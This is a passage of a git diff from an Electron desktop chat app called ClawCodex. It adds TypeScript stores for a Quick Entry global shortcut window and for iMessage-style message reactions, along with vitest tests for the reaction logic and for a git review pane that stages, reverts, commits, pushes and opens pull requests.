+ * process — it owns the OS registration and must restore it on a cold launch
+ * without the renderer ever visiting Settings. This module treats what the
+ * bridge returns as the truth and caches it for the settings UI, same authority
+ * split as keep-awake.
+ */
+
+import { atom } from 'nanostores'
+
+export interface QuickEntryState {
+  enabled: boolean
+  /** null before the first read; the settings row shows a skeleton until then. */
+  registered: boolean | null
+  /** Why the OS shortcut isn't live: taken by another app, or unusable. */
+  error: null | QuickEntryRegistrationError
+  shortcut: string
+}
+
+export type QuickEntryRegistrationError = 'invalid' | 'taken'
+
+export interface QuickEntryStatus {
+  enabled: boolean
+  error: null | QuickEntryRegistrationError
+  registered: boolean
+  shortcut: string
+}
+
+export const QUICK_ENTRY_DEFAULT_SHORTCUT = 'CommandOrControl+Shift+Space'
+
+export const $quickEntry = atom<QuickEntryState>({
+  enabled: true,
+  error: null,
+  registered: null,
+  shortcut: QUICK_ENTRY_DEFAULT_SHORTCUT
+})
+
+function applyStatus(status: QuickEntryStatus | undefined): void {
+  if (!status) {
+    return
+  }
+
+  $quickEntry.set({
+    enabled: status.enabled === true,
+    error: status.error ?? null,
+    registered: status.registered === true,
+    shortcut: typeof status.shortcut === 'string' && status.shortcut ? status.shortcut : QUICK_ENTRY_DEFAULT_SHORTCUT
+  })
+}
+
+/** True when the shell exposes the Quick Entry capability (desktop only). */
+export function canUseQuickEntry(): boolean {
+  return typeof window !== 'undefined' && typeof window.clawcodexDesktop?.quickEntry?.getSettings === 'function'
+}
+
+/** Read the live registration state into the store (Settings mount). */
+export async function loadQuickEntrySettings(): Promise<void> {
+  if (!canUseQuickEntry()) {
+    return
+  }
+
+  try {
+    applyStatus(await window.clawcodexDesktop.quickEntry.getSettings())
+  } catch {
+    // A failed read leaves the store as-is; the row keeps its last known copy.
+  }
+}
+
+/**
+ * Write a preference and adopt whatever the main process reports back — a
+ * rejected shortcut or an already-taken chord comes back as an error state
+ * instead of a silently-lost setting.
+ */
+export async function saveQuickEntrySettings(patch: { enabled?: boolean; shortcut?: string }): Promise<void> {
+  if (!canUseQuickEntry()) {
+    return
+  }
+
+  // Optimistic: paint the intent immediately, then let the authoritative reply
+  // (which knows whether the OS accepted it) get the last word.
+  const previous = $quickEntry.get()
+  $quickEntry.set({ ...previous, ...patch, registered: previous.registered })
+
+  try {
+    applyStatus(await window.clawcodexDesktop.quickEntry.setSettings(patch))
+  } catch {
+    $quickEntry.set(previous)
+  }
+}
+
+// ── Quick window submit state machine ───────────────────────────────────────
+
+/** A recent session the quick window can target (pushed by the primary). */
+export interface QuickEntrySessionOption {
+  id: string
+  title: string
+}
+
+/** Send into whatever chat the main window currently has in front. */
+export const QUICK_TARGET_CURRENT = 'current'
+/** Start a brand-new session for this prompt. */
+export const QUICK_TARGET_NEW = 'new'
+
+/**
+ * The primary renderer's push into the quick window: is the gateway usable, and
+ * which recent sessions can be targeted. The quick window has NO gateway of its
+ * own, so this pushed copy is its only view of backend truth — it starts
+ * disconnected (input disabled) until the first push proves otherwise.
+ */
+export interface QuickEntryStatePush {
+  connected: boolean
+  sessions: QuickEntrySessionOption[]
+}
+
+/** What a quick-window submit carries back to the primary renderer. */
+export interface QuickEntrySubmitPayload {
+  /** QUICK_TARGET_CURRENT, QUICK_TARGET_NEW, or a stored session id. */
+  target: string
+  text: string
+}
+
+/**
+ * The quick window's own composer state. Deliberately a tiny pure reducer: the
+ * behavior that would actually break a user — an empty submit must not send but
+ * must still not hide the window, a real submit clears the draft AND hides, a
+ * double-fire while already submitting must not send twice, and a dead gateway
+ * must disable sending entirely — is the part worth proving, and none of it
+ * needs React or Electron.
+ */
+export interface QuickComposerState {
+  /** Last pushed gateway truth. False (the initial value) disables submit. */
+  connected: boolean
+  draft: string
+  /** Recent sessions the picker offers, pushed by the primary renderer. */
+  sessions: QuickEntrySessionOption[]
+  /** True between a send and the window actually hiding. Blocks a double-send. */
+  submitting: boolean
+  /** Where a submit lands: current / new / a stored session id. */
+  target: string
+  /** Whether the window should be visible. False asks the shell to hide. */
+  visible: boolean
+}
+
+export type QuickComposerEvent =
+  | { type: 'blur' }
+  | { type: 'dismiss' }
+  | { type: 'edit'; draft: string }
+  | { type: 'shown' }
+  | { type: 'state'; connected: boolean; sessions: QuickEntrySessionOption[] }
+  | { type: 'submit' }
+  | { type: 'target'; target: string }
+
+export interface QuickComposerTransition {
+  /** Payload to send through the real prompt-submit path, or null for none. */
+  send: null | QuickEntrySubmitPayload
+  state: QuickComposerState
+}
+
+export const initialQuickComposerState: QuickComposerState = {
+  // Disconnected until the primary renderer's first push proves otherwise — a
+  // capture window that accepts text it can never deliver is a lie.
+  connected: false,
+  draft: '',
+  sessions: [],
+  submitting: false,
+  target: QUICK_TARGET_CURRENT,
+  visible: true
+}
+
+export function quickComposerReducer(state: QuickComposerState, event: QuickComposerEvent): QuickComposerTransition {
+  switch (event.type) {
+    case 'blur':
+    case 'dismiss': {
+      // Escape / focus loss discards without sending. A dismiss mid-submit still
+      // hides — the send already left for the main process.
+      return {
+        send: null,
+        state: { ...state, draft: '', submitting: false, target: QUICK_TARGET_CURRENT, visible: false }
+      }
+    }
+
+    case 'edit': {
+      return { send: null, state: { ...state, draft: event.draft } }
+    }
+
+    case 'shown': {
+      // Re-summoned: a fresh capture surface every time — never a stale draft or
+      // a leftover target — but the pushed gateway truth carries over.
+      return {
+        send: null,
+        state: { ...state, draft: '', submitting: false, target: QUICK_TARGET_CURRENT, visible: true }
+      }
+    }
+
+    case 'state': {
+      // Adopt the pushed truth. A selected session that no longer exists in the
+      // pushed list must not silently swallow the prompt — fall back to current.
+      const targetStillValid =
+        event.connected &&
+        (state.target === QUICK_TARGET_CURRENT ||
+          state.target === QUICK_TARGET_NEW ||
+          event.sessions.some(session => session.id === state.target))
+
+      return {
+        send: null,
+        state: {
+          ...state,
+          connected: event.connected,
+          sessions: event.sessions,
+          target: targetStillValid ? state.target : QUICK_TARGET_CURRENT
+        }
+      }
+    }
+
+    case 'submit': {
+      const text = state.draft.trim()
+
+      // Nothing to send — or nowhere to send it (gateway down): stay open and
+      // keep the draft so a stray Enter can't make the text vanish.
+      if (!text || state.submitting || !state.connected) {
+        return { send: null, state }
+      }
+
+      return {
+        send: { target: state.target, text },
+        state: { ...state, draft: '', submitting: true, visible: false }
+      }
+    }
+
+    case 'target': {
+      return { send: null, state: { ...state, target: event.target } }
+    }
+
+    default: {
+      return { send: null, state }
+    }
+  }
+}
+
+// ── Primary-renderer bridge ────────────────────────────────────────────────
+
+let submitHandler: ((payload: QuickEntrySubmitPayload) => void) | null = null
+let unsubscribeSubmit: (() => void) | null = null
+
+/**
+ * Register the handler that turns a quick-window submit into a real send. The
+ * primary window routes it by target: current chat → `submitText`, a stored
+ * session id → resume + submit, new → fresh draft + submit.
+ */
+export function setQuickEntrySubmitHandler(fn: ((payload: QuickEntrySubmitPayload) => void) | null): void {
+  submitHandler = fn
+}
+
+function normalizeSubmitPayload(raw: unknown): null | QuickEntrySubmitPayload {
+  // Tolerate the v1 bare-string wire shape (an older quick window after a
+  // partial update) by treating it as "send to the current chat".
+  if (typeof raw === 'string') {
+    return raw.trim() ? { target: QUICK_TARGET_CURRENT, text: raw } : null
+  }
+
+  if (!raw || typeof raw !== 'object') {
+    return null
+  }
+
+  const record = raw as Record<string, unknown>
+  const text = typeof record.text === 'string' ? record.text : ''
+
+  if (!text.trim()) {
+    return null
+  }
+
+  return {
+    target: typeof record.target === 'string' && record.target ? record.target : QUICK_TARGET_CURRENT,
+    text
+  }
+}
+
+/**
+ * Wire the quick-window → primary-renderer submit channel once. Returns a
+ * disposer. Idempotent — a second call while wired is a no-op.
+ */
+export function initQuickEntryBridge(): () => void {
+  const api = typeof window === 'undefined' ? undefined : window.clawcodexDesktop?.quickEntry
+
+  if (!api?.onSubmit || unsubscribeSubmit) {
+    return () => {}
+  }
+
+  unsubscribeSubmit = api.onSubmit(raw => {
+    const payload = normalizeSubmitPayload(raw)
+
+    if (payload) {
+      submitHandler?.(payload)
+    }
+  })
+
+  return () => {
+    unsubscribeSubmit?.()
+    unsubscribeSubmit = null
+  }
+}
diff --git a/ui-desktop/src/store/reactions-enabled.ts b/ui-desktop/src/store/reactions-enabled.ts
new file mode 100644
index 000000000..862beae1a
--- /dev/null
+++ b/ui-desktop/src/store/reactions-enabled.ts
@@ -0,0 +1,40 @@
+/**
+ * Message reactions (iMessage-style tapbacks) — opt-in.
+ *
+ * Off by default: reactions add affordances to every message row (the ☺ slot,
+ * right-click pickers, :shortcode: completions), and the agent gains a tool
+ * that reacts to your messages. Presentation-scoped, so the renderer owns it
+ * (desktop AGENTS.md: state lives with its authority).
+ *
+ * Gates the UI only — persisted reactions still render if the data exists
+ * (a reaction you set before turning it off shouldn't vanish from history).
+ */
+
+import { atom } from 'nanostores'
+
+import { persistString, storedString } from '@/lib/storage'
+import { activeGateway } from '@/store/gateway'
+
+const KEY = 'clawcodex.desktop.reactions.v1'
+
+export const $reactionsEnabled = atom<boolean>(typeof window === 'undefined' ? false : storedString(KEY) === 'on')
+
+export function setReactionsEnabled(enabled: boolean): void {
+  $reactionsEnabled.set(enabled)
+}
+
+if (typeof window !== 'undefined') {
+  // listen, not subscribe: fire on CHANGE only, so app startup doesn't write
+  // config.set (or clobber a profile's setting with another window's default).
+  $reactionsEnabled.listen(enabled => {
+    persistString(KEY, enabled ? 'on' : 'off')
+    // Mirror into gateway config: the backend gates the agent's
+    // react_to_message tool and the model-context annotation on
+    // display.message_reactions, so the renderer toggle is the one lever.
+    void activeGateway()
+      ?.request('config.set', { key: 'display.message_reactions', value: enabled ? 'true' : 'false' })
+      .catch(() => {
+        // Not connected yet — the next toggle (or default-off) still holds.
+      })
+  })
+}
diff --git a/ui-desktop/src/store/reactions-local.ts b/ui-desktop/src/store/reactions-local.ts
new file mode 100644
index 000000000..a5d0b7d4a
--- /dev/null
+++ b/ui-desktop/src/store/reactions-local.ts
@@ -0,0 +1,67 @@
+import { atom } from 'nanostores'
+
+import { applyReaction } from '@/store/reactions'
+import type { MessageReaction } from '@/types/clawcodex'
+
+/**
+ * Reactions the user has set in THIS window, keyed by renderer message id.
+ *
+ * The UI owns this outright. A tapback is a direct manipulation — it flips the
+ * instant you click it, with no round-trip, no gateway, and no dependency on a
+ * message having been persisted yet. Durable state (and the agent's own
+ * reactions) still arrive through `metadata.custom.reactions`; this layer sits
+ * on top of it so the interaction never waits on the backend to feel alive.
+ */
+export const $localReactions = atom<Record<string, MessageReaction[]>>({})
+
+/**
+ * Agent reactions announced live (`message.reaction` events), keyed by the
+ * DURABLE row id — never the renderer message id, which the end-of-turn
+ * resume regenerates (an overlay keyed on the old id would orphan the instant
+ * the transcript rebuilds; "identity is not incidental", AGENTS.md). The
+ * resume also rebuilds from the gateway's in-memory history, which doesn't
+ * carry a reaction written to the DB mid-turn — this overlay outlives that
+ * clobber and a real reload hydrates the same reaction from disk.
+ */
+export const $agentReactions = atom<Record<number, MessageReaction[]>>({})
+
+/** Record an agent reaction painted from a live gateway event. */
+export function recordAgentReaction(rowId: number, reactions: MessageReaction[]): void {
+  $agentReactions.set({
+    ...$agentReactions.get(),
+    [rowId]: reactions.filter(reaction => reaction.author === 'agent')
+  })
+}
+
+/**
+ * Merge the durable reaction list with anything this window knows live.
+ *
+ * The user's slot: local wins (they just clicked it — newer by definition).
+ * The agent's slot: the live-event overlay wins over persisted (a mid-turn
+ * reaction reaches the DB before the in-memory history the next resume
+ * projects from), falling back to what the transcript carried.
+ */
+export function mergeReactions(
+  persisted: MessageReaction[] | undefined,
+  local: MessageReaction[] | undefined,
+  agentLive?: MessageReaction[]
+): MessageReaction[] {
+  const persistedList = persisted ?? []
+
+  const userSide = local
+    ? local.filter(reaction => reaction.author === 'user')
+    : persistedList.filter(reaction => reaction.author === 'user')
+
+  const agentSide = agentLive ?? persistedList.filter(reaction => reaction.author === 'agent')
+
+  return [...userSide, ...agentSide]
+}
+
+/** Toggle the user's reaction on a message — instant, local, no round-trip. */
+export function setLocalReaction(messageId: string, emoji: null | string): MessageReaction[] {
+  const next = applyReaction($localReactions.get()[messageId], emoji, 'user')
+
+  $localReactions.set({ ...$localReactions.get(), [messageId]: next })
+
+  return next
+}
diff --git a/ui-desktop/src/store/reactions.test.ts b/ui-desktop/src/store/reactions.test.ts
new file mode 100644
index 000000000..0fafc9233
--- /dev/null
+++ b/ui-desktop/src/store/reactions.test.ts
@@ -0,0 +1,59 @@
+import { describe, expect, it } from 'vitest'
+
+import { applyReaction, QUICK_REACTIONS } from '@/store/reactions'
+import type { MessageReaction } from '@/types/clawcodex'
+
+const at = 1_700_000_000
+
+function reaction(emoji: string, author: MessageReaction['author']): MessageReaction {
+  return { emoji, author, at }
+}
+
+describe('applyReaction', () => {
+  it('adds a reaction to an empty message', () => {
+    expect(applyReaction(undefined, '❤️', 'user')).toMatchObject([{ emoji: '❤️', author: 'user' }])
+  })
+
+  it('replaces the same author’s existing reaction (one per author)', () => {
+    const next = applyReaction([reaction('❤️', 'user')], '😂', 'user')
+
+    expect(next).toHaveLength(1)
+    expect(next[0].emoji).toBe('😂')
+  })
+
+  it('retracts when the live reaction is re-sent', () => {
+    expect(applyReaction([reaction('👍', 'user')], '👍', 'user')).toEqual([])
+  })
+
+  it('clears on an explicit null', () => {
+    expect(applyReaction([reaction('👍', 'user')], null, 'user')).toEqual([])
+  })
+
+  it('keeps authors independent', () => {
+    const next = applyReaction([reaction('🔥', 'agent')], '❤️', 'user')
+
+    expect(next.map(r => r.author).sort()).toEqual(['agent', 'user'])
+  })
+
+  it('retracting one author leaves the other intact', () => {
+    const next = applyReaction([reaction('🔥', 'agent'), reaction('❤️', 'user')], null, 'user')
+
+    expect(next).toMatchObject([{ emoji: '🔥', author: 'agent' }])
+  })
+
+  it('never mutates the input array', () => {
+    const before = [reaction('❤️', 'user')]
+    const snapshot = [...before]
+
+    applyReaction(before, '😂', 'user')
+
+    expect(before).toEqual(snapshot)
+  })
+})
+
+describe('QUICK_REACTIONS', () => {
+  it('is the six iOS Tapback defaults, each distinct', () => {
+    expect(QUICK_REACTIONS).toHaveLength(6)
+    expect(new Set(QUICK_REACTIONS).size).toBe(6)
+  })
+})
diff --git a/ui-desktop/src/store/reactions.ts b/ui-desktop/src/store/reactions.ts
new file mode 100644
index 000000000..e6f3a716f
--- /dev/null
+++ b/ui-desktop/src/store/reactions.ts
@@ -0,0 +1,90 @@
+import type { ChatMessage } from '@/lib/chat-messages'
+import { activeGateway } from '@/store/gateway'
+import { notifyError } from '@/store/notifications'
+import { $activeSessionId, $messages, setMessages } from '@/store/session'
+import type { MessageReaction } from '@/types/clawcodex'
+
+/** The six iOS Tapback defaults, in Apple's order. */
+export const QUICK_REACTIONS = ['❤️', '👍', '👎', '😂', '‼️', '❓'] as const
+
+interface MessageReactResponse {
+  row_id: number
+  reactions: MessageReaction[]
+}
+
+/** Apply the local half of a tapback: one reaction per author, re-tap retracts. */
+export function applyReaction(
+  reactions: MessageReaction[] | undefined,
+  emoji: null | string,
+  author: MessageReaction['author']
+): MessageReaction[] {
+  const current = reactions ?? []
+  const previous = current.find(reaction => reaction.author === author)
+  const without = current.filter(reaction => reaction.author !== author)
+
+  if (!emoji || previous?.emoji === emoji) {
+    return without
+  }
+
+  return [...without, { emoji, author, at: Date.now() / 1000 }]
+}
+
+function writeReactions(messageId: string, reactions: MessageReaction[], rowId?: number) {
+  // A NEW ChatMessage object per change is load-bearing: the runtime
+  // repository caches normalized ThreadMessages in a WeakMap keyed by
+  // ChatMessage identity, so a mutation in place renders stale.
+  // Keyed by the renderer id, not rowId: a live message has no rowId yet.
+  setMessages(messages =>
+    messages.map(message =>
+      message.id === messageId ? { ...message, reactions, ...(rowId === undefined ? {} : { rowId }) } : message
+    )
+  )
+}
+
+/**
+ * Toggle *author*'s reaction on a persisted message.
+ *
+ * Optimistic: paints immediately, then lets the backend's returned list win.
+ * A failed write rolls back to the snapshot (desktop AGENTS.md — "be optimistic,
+ * then honest").
+ */
+export async function toggleMessageReaction(
+  message: ChatMessage,
+  emoji: null | string,
+  author: MessageReaction['author'] = 'user'
+): Promise<void> {
+  // A live message hasn't round-tripped through a resume yet, so it carries no
+  // rowId. Rather than disable the affordance (which made reactions invisible
+  // in any active conversation), let the backend resolve the newest row of
+  // this role — which is exactly the message being reacted to.
+  const rowId = message.rowId
+  const sessionId = $activeSessionId.get()
+  const gateway = activeGateway()
+
+  if (!sessionId || !gateway) {
+    notifyError(new Error(!sessionId ? 'No active session' : 'Gateway not connected'), 'Could not react')
+
+    return
+  }
+
+  const snapshot = $messages.get().find(m => m.id === message.id)?.reactions
+
+  writeReactions(message.id, applyReaction(snapshot, emoji, author))
+
+  try {
+    const result = await gateway.request<MessageReactResponse>('message.react', {
+      session_id: sessionId,
+      ...(rowId === undefined ? { newest_role: message.role } : { row_id: rowId }),
+      emoji,
+      author
+    })
+
+    // Learn the row id from the response so later toggles address it directly.
+    writeReactions(message.id, result?.reactions ?? [], result?.row_id)
+  } catch (err) {
+    // Be optimistic, THEN honest: a rejected write rolls back visibly and says
+    // why, instead of the reaction quietly vanishing (desktop AGENTS.md).
+    writeReactions(message.id, snapshot ?? [])
+    notifyError(err, 'Could not react')
+  }
+}
diff --git a/ui-desktop/src/store/review.test.ts b/ui-desktop/src/store/review.test.ts
new file mode 100644
index 000000000..43254d3fc
--- /dev/null
+++ b/ui-desktop/src/store/review.test.ts
@@ -0,0 +1,490 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClawCodexReviewFile, ClawCodexReviewShipInfo } from '@/global'
+
+import {
+  $reviewCommitDefault,
+  $reviewCommitMsgBusy,
+  $reviewDiff,
+  $reviewDiffLoading,
+  $reviewFiles,
+  $reviewIsRepo,
+  $reviewLoading,
+  $reviewMaxChurn,
+  $reviewOpen,
+  $reviewRevertTarget,
+  $reviewScopeCwd,
+  $reviewSelectedPath,
+  $reviewShipBusy,
+  $reviewShipInfo,
+  $reviewTreeMode,
+  cancelRevert,
+  clearReviewSelection,
+  closeReview,
+  commitChanges,
+  confirmRevert,
+  createOrOpenPr,
+  generateCommitMessage,
+  openReview,
+  pushChanges,
+  refreshReview,
+  refreshShipInfo,
+  requestRevert,
+  revertReviewFile,
+  selectReviewFile,
+  stageReviewFile,
+  toggleReviewTreeMode,
+  unstageReviewFile
+} from './review'
+import { $currentCwd } from './session'
+
+// requestOneShot is the only cross-module dependency that must be faked (it
+// reaches the gateway); everything else routes through window.clawcodexDesktop.git,
+// which we stub per-test like the sibling coding-status.test.ts does.
+const requestOneShot = vi.fn(async (_args: unknown) => 'generated message')
+vi.mock('@/lib/oneshot', () => ({ requestOneShot: (args: unknown) => requestOneShot(args) }))
+// refreshRepoStatus is a fire-and-forget side effect of mutations; stub it so it
+// doesn't try to hit the (absent) probe and log.
+vi.mock('./coding-status', () => ({ refreshRepoStatus: vi.fn() }))
+
+function file(path: string, over: Partial<ClawCodexReviewFile> = {}): ClawCodexReviewFile {
+  return { path, status: 'modified', staged: false, added: 1, removed: 0, ...over } as ClawCodexReviewFile
+}
+
+type ReviewStub = Record<string, ReturnType<typeof vi.fn>>
+
+// Install a review bridge on window.clawcodexDesktop. Any op not supplied defaults
+// to a resolved no-op so a test only declares what it exercises.
+function stubReview(over: ReviewStub = {}) {
+  const review: ReviewStub = {
+    list: vi.fn(async () => ({ files: [] })),
+    diff: vi.fn(async () => ''),
+    stage: vi.fn(async () => undefined),
+    unstage: vi.fn(async () => undefined),
+    revert: vi.fn(async () => undefined),
+    commit: vi.fn(async () => undefined),
+    commitContext: vi.fn(async () => ({ diff: 'd', recent: 'r' })),
+    push: vi.fn(async () => undefined),
+    shipInfo: vi.fn(async () => ({ ghReady: false, pr: null })),
+    createPr: vi.fn(async () => ({ url: 'https://example.com/pr/1' })),
+    ...over
+  }
+
+  ;(window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop = {
+    git: { review },
+    openExternal: vi.fn()
+  }
+
+  return review
+}
+
+beforeEach(() => {
+  requestOneShot.mockClear()
+  requestOneShot.mockResolvedValue('generated message')
+  // Reset stores touched across tests.
+  $reviewOpen.set(false)
+  $reviewFiles.set([])
+  $reviewLoading.set(false)
+  $reviewIsRepo.set(true)
+  $reviewDiff.set(null)
+  $reviewDiffLoading.set(false)
+  $reviewSelectedPath.set(null)
+  $reviewShipInfo.set({ ghReady: false, pr: null })
+  $reviewShipBusy.set(false)
+  $reviewCommitMsgBusy.set(false)
+  $reviewRevertTarget.set(undefined)
+  $reviewScopeCwd.set(null)
+  $currentCwd.set('/repo')
+})
+
+afterEach(() => {
+  delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+})
+
+describe('refreshReview', () => {
+  it('is a no-op that clears state when the pane is closed', async () => {
+    const review = stubReview()
+    $reviewOpen.set(false)
+    $reviewFiles.set([file('a.ts')])
+
+    await refreshReview()
+
+    expect(review.list).not.toHaveBeenCalled()
+    expect($reviewFiles.get()).toEqual([])
+    expect($reviewLoading.get()).toBe(false)
+  })
+
+  it('flags not-a-repo (and clears loading) when there is no bridge/cwd', async () => {
+    delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+    $reviewOpen.set(true)
+    $reviewLoading.set(true)
+
+    await refreshReview()
+
+    expect($reviewIsRepo.get()).toBe(false)
+    expect($reviewLoading.get()).toBe(false)
+  })
+
+  it('populates the changed-file list from the bridge', async () => {
+    stubReview({ list: vi.fn(async () => ({ files: [file('a.ts'), file('b.ts')] })) })
+    $reviewOpen.set(true)
+
+    await refreshReview()
+
+    expect($reviewFiles.get().map(f => f.path)).toEqual(['a.ts', 'b.ts'])
+    expect($reviewIsRepo.get()).toBe(true)
+    expect($reviewLoading.get()).toBe(false)
+  })
+
+  it('filters excluded paths (node_modules et al.) out of the list', async () => {
+    stubReview({ list: vi.fn(async () => ({ files: [file('src/a.ts'), file('node_modules/x/index.js')] })) })
+    $reviewOpen.set(true)
+
+    await refreshReview()
+
+    expect($reviewFiles.get().map(f => f.path)).toEqual(['src/a.ts'])
+  })
+
+  it('drops a selection whose file vanished from the new list', async () => {
+    stubReview({ list: vi.fn(async () => ({ files: [file('kept.ts')] })) })
+    $reviewOpen.set(true)
+    $reviewSelectedPath.set('gone.ts')
+    $reviewDiff.set('old diff')
+
+    await refreshReview()
+
+    expect($reviewSelectedPath.get()).toBeNull()
+    expect($reviewDiff.get()).toBeNull()
+  })
+
+  it('clears the list but keeps isRepo true when the bridge throws', async () => {
+    stubReview({
+      list: vi.fn(async () => {
+        throw new Error('git failed')
+      })
+    })
+    $reviewOpen.set(true)
+    $reviewFiles.set([file('stale.ts')])
+
+    await refreshReview()
+
+    expect($reviewFiles.get()).toEqual([])
+    expect($reviewIsRepo.get()).toBe(true)
+    expect($reviewLoading.get()).toBe(false)
+  })
+})
+
+describe('$reviewMaxChurn', () => {
+  it('is the largest added+removed across files', () => {
+    $reviewFiles.set([file('a', { added: 3, removed: 2 }), file('b', { added: 10, removed: 1 }), file('c')])
+    expect($reviewMaxChurn.get()).toBe(11)
+  })
+
+  it('is 0 for an empty list', () => {
+    $reviewFiles.set([])
+    expect($reviewMaxChurn.get()).toBe(0)
+  })
+})
+
+describe('selectReviewFile / clearReviewSelection', () => {
+  it('sets the selected path and fetches its diff', async () => {
+    const review = stubReview({ diff: vi.fn(async () => 'the diff') })
+
+    await selectReviewFile(file('a.ts'))
+
+    expect($reviewSelectedPath.get()).toBe('a.ts')
+    expect($reviewDiff.get()).toBe('the diff')
+    expect($reviewDiffLoading.get()).toBe(false)
+    expect(review.diff).toHaveBeenCalledWith('/repo', 'a.ts', 'uncommitted', null, false)
+  })
+
+  it('coerces a falsy diff to empty string (not null)', async () => {
+    stubReview({ diff: vi.fn(async () => '') })
+
+    await selectReviewFile(file('a.ts'))
+
+    expect($reviewDiff.get()).toBe('')
+  })
+
+  it('sets diff null when there is no bridge', async () => {
+    delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+
+    await selectReviewFile(file('a.ts'))
+
+    expect($reviewSelectedPath.get()).toBe('a.ts')
+    expect($reviewDiff.get()).toBeNull()
+  })
+
+  it('clears path, diff and loading', () => {
+    $reviewSelectedPath.set('a.ts')
+    $reviewDiff.set('x')
+    $reviewDiffLoading.set(true)
+
+    clearReviewSelection()
+
+    expect($reviewSelectedPath.get()).toBeNull()
+    expect($reviewDiff.get()).toBeNull()
+    expect($reviewDiffLoading.get()).toBe(false)
+  })
+})
+
+describe('view state', () => {
+  it('toggleReviewTreeMode flips list <-> tree', () => {
+    $reviewTreeMode.set('tree')
+    toggleReviewTreeMode()
+    expect($reviewTreeMode.get()).toBe('list')
+    toggleReviewTreeMode()
+    expect($reviewTreeMode.get()).toBe('tree')
+  })
+
+  it('openReview opens the pane and kicks off a refresh', async () => {
+    const review = stubReview()
+    openReview()
+    expect($reviewOpen.get()).toBe(true)
+    expect($reviewScopeCwd.get()).toBeNull()
+    // openReview fires refreshReview + refreshShipInfo without awaiting.
+    await Promise.resolve()
+    await Promise.resolve()
+    expect(review.list).toHaveBeenCalledWith('/repo', 'uncommitted', null)
+  })
+
+  it('openReview pins the pane to a tile worktree when scoped', async () => {
+    const review = stubReview({
+      list: vi.fn(async () => ({ files: [file('tile.ts')] }))
+    })
+
+    openReview('/tile-worktree')
+    expect($reviewOpen.get()).toBe(true)
+    expect($reviewScopeCwd.get()).toBe('/tile-worktree')
+    await Promise.resolve()
+    await Promise.resolve()
+    expect(review.list).toHaveBeenCalledWith('/tile-worktree', 'uncommitted', null)
+  })
+
+  it('closeReview closes the pane, clears selection, and drops scope', () => {
+    stubReview()
+    $reviewOpen.set(true)
+    $reviewScopeCwd.set('/tile-worktree')
+    $reviewSelectedPath.set('a.ts')
+    $reviewDiff.set('x')
+
+    closeReview()
+
+    expect($reviewOpen.get()).toBe(false)
+    expect($reviewScopeCwd.get()).toBeNull()
+    expect($reviewSelectedPath.get()).toBeNull()
+    expect($reviewDiff.get()).toBeNull()
+  })
+
+  it('scoped pane ignores main-pane cwd changes', async () => {
+    const review = stubReview({
+      list: vi.fn(async (cwd: string) => ({ files: [file(cwd === '/tile' ? 'tile.ts' : 'main.ts')] }))
+    })
+
+    openReview('/tile')
+    await Promise.resolve()
+    await Promise.resolve()
+    review.list.mockClear()
+
+    // Main session hops repos; the pane is still pinned to the tile.
+    $currentCwd.set('/somewhere-else')
+    await Promise.resolve()
+    await Promise.resolve()
+
+    expect($reviewScopeCwd.get()).toBe('/tile')
+    expect(review.list).not.toHaveBeenCalled()
+  })
+})
+
+describe('mutations', () => {
+  it('stageReviewFile forwards the path and re-syncs', async () => {
+    const review = stubReview()
+    $reviewOpen.set(true) // afterMutation's refreshReview only lists when the pane is open
+    await stageReviewFile('a.ts')
+    expect(review.stage).toHaveBeenCalledWith('/repo', 'a.ts')
+    expect(review.list).toHaveBeenCalled()
+  })
+
+  it('unstageReviewFile forwards the path', async () => {
+    const review = stubReview()
+    await unstageReviewFile('a.ts')
+    expect(review.unstage).toHaveBeenCalledWith('/repo', 'a.ts')
+  })
+
+  it('revertReviewFile forwards the path', async () => {
+    const review = stubReview()
+    await revertReviewFile('a.ts')
+    expect(review.revert).toHaveBeenCalledWith('/repo', 'a.ts')
+  })
+
+  it('stage with null path means "all"', async () => {
+    const review = stubReview()
+    await stageReviewFile(null)
+    expect(review.stage).toHaveBeenCalledWith('/repo', null)
+  })
+})
+
+describe('revert confirm dialog', () => {
+  it('requestRevert opens a target, cancelRevert closes it', () => {
+    requestRevert('a.ts')
+    expect($reviewRevertTarget.get()).toEqual({ path: 'a.ts' })
+    cancelRevert()
+    expect($reviewRevertTarget.get()).toBeUndefined()
+  })
+
+  it('requestRevert(null) encodes the "revert all" target distinctly from closed', () => {
+    requestRevert(null)
+    expect($reviewRevertTarget.get()).toEqual({ path: null })
+  })
+
+  it('confirmRevert closes the dialog then performs the revert', async () => {
+    const review = stubReview()
+    requestRevert('a.ts')
+
+    await confirmRevert()
+
+    expect($reviewRevertTarget.get()).toBeUndefined()
+    expect(review.revert).toHaveBeenCalledWith('/repo', 'a.ts')
+  })
+
+  it('confirmRevert is a no-op when nothing is pending', async () => {
+    const review = stubReview()
+    $reviewRevertTarget.set(undefined)
+
+    await confirmRevert()
+
+    expect(review.revert).not.toHaveBeenCalled()
+  })
+})
+
+describe('ship flow', () => {
+  it('commitChanges commits the trimmed message and toggles the busy flag', async () => {
+    const review = stubReview()
+    const seen: boolean[] = []
+    const unsub = $reviewShipBusy.subscribe(v => seen.push(v))
+
+    await commitChanges('  a message  ', { push: true })
+
+    expect(review.commit).toHaveBeenCalledWith('/repo', 'a message', true)
+    expect(seen).toContain(true)
+    expect($reviewShipBusy.get()).toBe(false)
+    unsub()
+  })
+
+  it('commitChanges bails on a blank message', async () => {
+    const review = stubReview()
+    await commitChanges('   ')
+    expect(review.commit).not.toHaveBeenCalled()
+  })
+
+  it('pushChanges pushes and refreshes ship info', async () => {
+    const review = stubReview()
+    await pushChanges()
+    expect(review.push).toHaveBeenCalledWith('/repo')
+  })
+
+  it('createOrOpenPr opens the existing PR without creating a new one', async () => {
+    const review = stubReview()
+    $reviewShipInfo.set({ ghReady: true, pr: { url: 'https://example.com/pr/9' } } as ClawCodexReviewShipInfo)
+
+    await createOrOpenPr()
+
+    expect(review.createPr).not.toHaveBeenCalled()
+    expect(
+      (window.clawcodexDesktop as unknown as { openExternal: ReturnType<typeof vi.fn> }).openExternal
+    ).toHaveBeenCalledWith('https://example.com/pr/9')
+  })
+
+  it('createOrOpenPr creates a PR when none exists, then opens it', async () => {
+    const review = stubReview({ createPr: vi.fn(async () => ({ url: 'https://example.com/pr/new' })) })
+    $reviewShipInfo.set({ ghReady: true, pr: null })
+
